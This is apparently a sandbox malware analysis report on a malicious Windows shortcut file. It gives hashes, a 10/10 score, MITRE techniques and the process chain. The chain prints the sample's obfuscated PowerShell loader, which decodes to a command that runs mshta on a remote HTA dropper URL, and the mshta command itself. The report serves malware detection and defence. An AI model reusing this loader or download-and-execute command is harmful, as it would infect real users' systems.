c88f8fe20ad9910200377a94c939be0bbfa16889b5418dfca1fe0fb4fd03973c

Analysis

max time kernel
1s
max time network
106s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
23-05-2022 18:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

267-3099-39.lnk
Size

2KB
MD5

d940f57ff05d71eb52b1c1ab693edcf1
SHA1

4da1c51a0cad571c6121a62ffb4b837135809e5f
SHA256

2599c81a8c6e1b8682085a21735631e86ae4450db88dc82ac568424c0a7ed5ad
SHA512

c0ad443c81a32bdcc4674f66e228067c87fc53027a9839b3dbf3b82711b68a9a9d698a1d08472f36cfe14ae10ec518d5ba68fd91b5e980d7b35e8125c5511e13

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://modhub.com.br/upload.hta

Signatures

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1152 powershell.exe
1152 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1152 powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	cmd.exe

pid	process
1152	powershell.exe
1152	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1152	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 4836 wrote to memory of 1152	4836	cmd.exe	powershell.exe
PID 4836 wrote to memory of 1152	4836	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\267-3099-39.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4836

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" <#;V[u?g|')?#>$DQLuekQGuuECDBbyraLZ=@(54990,54996,54985,54997,54978,54913,54985,54997,54997,54993,54996,54939,54928,54928,54990,54992,54981,54985,54998,54979,54927,54980,54992,54990,54927,54979,54995,54928,54998,54993,54989,54992,54978,54981,54927,54985,54997,54978);<#;V[u?g|')?#>$GuOUaorkYlZ=@(54954,54950,54969);<#;V[u?g|')?#>function rumzkRHswcDsUsFC($YeFkGODsh){$HJgmjnWAJPf=54881;<#;V[u?g|')?#>$RMPUtpu=$Null;foreach($XTtbqSkqQgZM in $YeFkGODsh){$RMPUtpu+=[char]($XTtbqSkqQgZM-$HJgmjnWAJPf)};return $RMPUtpu};sal ghWolInCgDSAYIndj (rumzkRHswcDsUsFC $GuOUaorkYlZ);<#;V[u?g|')?#>ghWolInCgDSAYIndj((rumzkRHswcDsUsFC $DQLuekQGuuECDBbyraLZ));
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1152

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" https://modhub.com.br/upload.hta
3⤵
PID:3148

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1152-130-0x0000000000000000-mapping.dmp

Download
memory/1152-131-0x0000025AF7E40000-0x0000025AF7E62000-memory.dmp

Filesize
136KB

Download
memory/1152-134-0x00007FFF9A210000-0x00007FFF9ACD1000-memory.dmp

Filesize
10.8MB

Download
memory/3148-132-0x0000000000000000-mapping.dmp

Download